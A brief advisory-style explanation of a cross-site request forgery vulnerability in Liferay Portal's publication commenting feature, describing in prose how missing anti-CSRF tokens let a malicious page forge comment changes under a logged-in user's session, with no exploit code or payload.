How the mentioned CVE works:
This CVE is a Cross-Site Request Forgery vulnerability in Liferay Portal’s publication commenting feature. The application does not sufficiently verify if a state-changing request originates from a legitimate user interaction. An attacker can craft a malicious web page that, when visited by a logged-in Liferay user, automatically submits a forged HTTP request to the vulnerable Liferay server. This request exploits the lack of anti-CSRF tokens to perform unauthorized actions, specifically adding or modifying comments on publications, using the victim’s active session and permissions without their knowledge or consent.
